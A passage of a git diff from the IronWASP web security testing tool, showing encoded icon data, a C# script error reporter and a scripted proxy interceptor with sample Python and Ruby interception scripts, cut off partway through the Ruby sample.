H//////////////wAAGAAA//////////////8AABgAAP/////////////+AAAYAAB//////////////g + AAGAAAf/////////////wAABgAAD/////////////8AAAYAAA//////////////AAAGAAAP///////// + ////4AABgAAH/////////////2AAAYAABv////////////4wAAGAAAx////////////+MAABgAAMf/// + /////////BgAAYAAGD////////////wYAAGAABg////////////4DAABgAAwH///////////+AwAAYAA + MB////////////AGAAGAAGAP///////////wBgABgABgD///////////4AMAAYAAwAf//////////+AD + AAGAAMAH///////////AAYABgAGAA///////////wAGAAYABgAP//////////4AAgAGAAQAB//////// + //+AAMABgAMAAf//////////AABAAYACAAD//////////wAAYAGABgAA//////////4AAGABgAQAAH// + ///////+AAAwAYAMAAB//////////AAAMAGACAAAP/////////wAABgBgBgAAD/////////4AAAYAYAY + AAAf////////+AAADAGAMAAAH/////////AAAA////AAAA/////////wAAAH///gAAAP////////4AAA + D///4AAAB////////+AAAAwAADAAAAf////////AAAAYAAAQAAAD////////wAAAGAAAGAAAA/////// + /4AAADAAAAgAAAH///////+AAAAwAAAMAAAB////////AAAAYAAABAAAAP///////wAAAGAAAAYAAAD/ + //////4AAADAAAACAAAAf//////+AAAAwAAAAwAAAH///////AAAAYAAAAEAAAA///////wAAAGAAAAB + gAAAP//////4AAADAAAAAIAAAB//////+AAAAwAAAADAAAAf//////AAAAYAAAAAQAAAD//////wAAAG + AAAAAGAAAA//////4AAADAAAAAAgAAAH/////+AAAAwAAAAAMAAAB//////AAAAIAAAAABAAAAP///// + wAAAGAAAAAAYAAAD/////4AAABAAAAAACAAAAf////+AAAAwAAAAAAwAAAH/////AAAAIAAAAAAEAAAA + /////wAAAGAAAAAABgAAAP////4AAABAAAAAAAIAAAB////+AAAAwAAAAAADAAAAf////AAAAMAAAAAA + AQAAAD////wAAAGAAAAAAAGAAAA////4AAABgAAAAAAAgAAAH///+AAAAwAAAAAAAMAAAB////AAAAMA + AAAAAABAAAAP///wAAAGAAAAAAAAYAAAD///4AAABgAAAAAAACAAAAf//+AAAAwAAAAAAAAwAAAH///A + AAAMAAAAAAAAEAAAA///wAAAGAAAAAAAABgAAAP//4AAABgAAAAAAAAIAAAB//+AAAAwAAAAAAAADAAA + Af//AAAAMAAAAAAAAAQAAAD//wAAAGAAAAAAAAAGAAAA//4AAAH4AAAAAAAAH4AAAH/+AAAH/wAAAAAA + AP/gAAB//AAAP//wAAAAAA///AAAP/wAAf///gAAAAB///+AAD/4AAf////gAAAH////4AAf+AA///// + /AAAP/////wAH/AA//////+AAf//////AA/wB///////+B///////+AP4B/////////////////4B+D/ + /////////////////wfD///////////////////D//////////////////////////////////////// + /////////////////////////////////////////////4lQTkcNChoKAAAADUlIRFIAAAEAAAABAAgG + AAAAXHKoZgAAHntJREFUeNrtnXmcXEW1x7/DIiiogLIoKmprfC68RhtQQARcQCh0Hj73XcSlWcIq4BLC + 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 + + + \ No newline at end of file diff --git a/IronWASP/ScriptErrorReporter.cs b/Iron/ScriptErrorReporter.cs similarity index 96% rename from IronWASP/ScriptErrorReporter.cs rename to Iron/ScriptErrorReporter.cs index d37c288..51d4a27 100644 --- a/IronWASP/ScriptErrorReporter.cs +++ b/Iron/ScriptErrorReporter.cs @@ -1,52 +1,52 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; -using Microsoft.Scripting; -using Microsoft.Scripting.Runtime; -using Microsoft.Scripting.Hosting; -using IronPython; -using IronPython.Hosting; -using IronPython.Modules; -using IronPython.Runtime; -using IronPython.Runtime.Exceptions; -using IronRuby; -using IronRuby.Hosting; -using IronRuby.Runtime; -using IronRuby.StandardLibrary; - -namespace IronWASP -{ - class ScriptErrorReporter : ErrorListener - { - StringBuilder Errors = new StringBuilder(); - - public override void ErrorReported(ScriptSource source, string message, SourceSpan span, int errorCode, Severity severity) - { - Errors.AppendLine(string.Format("{0}:{1} - {2} at Line {3}", new object[] { severity.ToString(), errorCode.ToString(), message, span.Start.Line.ToString() })); - } - - internal string GetErrors() - { - string Error = Errors.ToString(); - return Error; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; +using Microsoft.Scripting; +using Microsoft.Scripting.Runtime; +using Microsoft.Scripting.Hosting; +using IronPython; +using IronPython.Hosting; +using IronPython.Modules; +using IronPython.Runtime; +using IronPython.Runtime.Exceptions; +using IronRuby; +using IronRuby.Hosting; +using IronRuby.Runtime; +using IronRuby.StandardLibrary; + +namespace IronWASP +{ + class ScriptErrorReporter : ErrorListener + { + StringBuilder Errors = new StringBuilder(); + + public override void ErrorReported(ScriptSource source, string message, SourceSpan span, int errorCode, Severity severity) + { + Errors.AppendLine(string.Format("{0}:{1} - {2} at Line {3}", new object[] { severity.ToString(), errorCode.ToString(), message, span.Start.Line.ToString() })); + } + + internal string GetErrors() + { + string Error = Errors.ToString(); + return Error; + } + } +} diff --git a/IronWASP/ScriptedInterceptor.cs b/Iron/ScriptedInterceptor.cs similarity index 97% rename from IronWASP/ScriptedInterceptor.cs rename to Iron/ScriptedInterceptor.cs index 538c79a..1b6f154 100644 --- a/IronWASP/ScriptedInterceptor.cs +++ b/Iron/ScriptedInterceptor.cs @@ -1,148 +1,148 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class ScriptedInterceptor - { - public bool CallAfterInterception = false; - public bool AfterInterception = false; - - public ScriptedInterceptor() - { - - } - - public virtual bool ShouldIntercept(Session Sess) - { - return false; - } - - public bool DoesMatchRules(Session Sess) - { - if (Sess.Response == null) - { - return this.DoesMatchRequestInterceptionRules(Sess); - } - else - { - return this.DoesMatchResponseInterceptionRules(Sess); - } - } - - public bool DoesMatchRequestInterceptionRules(Session Sess) - { - return IronProxy.CanInterceptBasedOnFilter(Sess.Request); - } - - public bool DoesMatchResponseInterceptionRules(Session Sess) - { - if (Sess.Response == null) - { - return false; - } - else - { - return IronProxy.CanInterceptBasedOnFilter(Sess.Request, Sess.Response); - } - } - - internal static string GetSamplePythonScript() - { - return @" -#Scripted Interception allows you to determine when a Request or Response must be intercepted -#You can also manipulate Request or Response going through the proxy without intercepting them -#This is a sample Python script to showcase the 'Scripted Interception' feature -#To enable this feature click on 'Activate this Script for Scripted Interception' -#Once you do that the script here will be executed everytime a Request or Response goes through the proxy - -#sess is the Session object containing the Request or Response currently going through the proxy -#You can analyze and modify it. To intercept it you must return the boolean value - True - -#If this session does not match the Proxy Traffic Interception Rules defined in the config we don't intercept it -#The rules in the config can be accessed by clicking on 'Show Config' on the top right corner of IronWASP -#Doing this helps filter out things you had already blocked in the config -if not self.DoesMatchRules(sess): - return False - -#We check if the session object has a valid Response, if it does then currently a Response is passing through the proxy -if sess.Response: - #We check if the Response has SetCookie headers and if the corresponding request Url is equal to '/login' - #If that is the case we return True and this Response will be intercepted and displayed to the user - if len(sess.Response.SetCookies) > 0 and sess.Request.Url == ""/login"": - return True -#If the session object does not have valid Response then currently a Request is passing through the proxy -else: - #We check if the Request has a body parameter named 'c_token' if it does then we change it to some other value - if sess.Request.Body.Has(""c_token""): - sess.Request.Body.Set(""c_token"", ""xxxxxxxxx"") - -#To debug your script you can make use of the command Tools.Trace(""Scripted Interception"", ""Test Message"") -#This command will add an entry to the 'Debug Trace' section of the 'Dev' section. The two arguments must be strings, they can contain any value. -#This would provide a functionality similar to using the print command in your code. - -"; - } - - internal static string GetSampleRubyScript() - { - return @" - -#Scripted Interception allows you to determine when a Request or Response must be intercepted -#You can also manipulate Request or Response going through the proxy without intercepting them -#This is a sample Python script to showcase the 'Scripted Interception' feature -#To enable this feature click on 'Activate this Script for Scripted Interception' -#Once you do that the script here will be executed everytime a Request or Response goes through the proxy - -#sess is the Session object containing the Request or Response currently going through the proxy -#You can analyze and modify it. To intercept it you must return the boolean value - true - -#If this session does not match the Proxy Traffic Interception Rules defined in the config we don't intercept it -#The rules in the config can be accessed by clicking on 'Show Config' on the top right corner of IronWASP -#Doing this helps filter out things you had already blocked in the config -if not does_match_rules(sess) - return false -end - -#We check if the session object has a valid Response, if it does then currently a Response is passing through the proxy -if sess.response - #We check if the Response has SetCookie headers and if the corresponding request Url is equal to '/login' - #If that is the case we return true and this Response will be intercepted and displayed to the user - if sess.response.set_cookies.count > 0 and sess.request.url == ""/login"" - return true - end -#If the session object does not have valid Response then currently a Request is passing through the proxy -else - #We check if the Request has a body parameter named 'c_token' if it does then we change it to some other value - if sess.request.body.has(""c_token""): - sess.request.body.set(""c_token"", ""xxxxxxx"") - end -end - -#To debug your script you can make use of the command Tools.trace(""Scripted 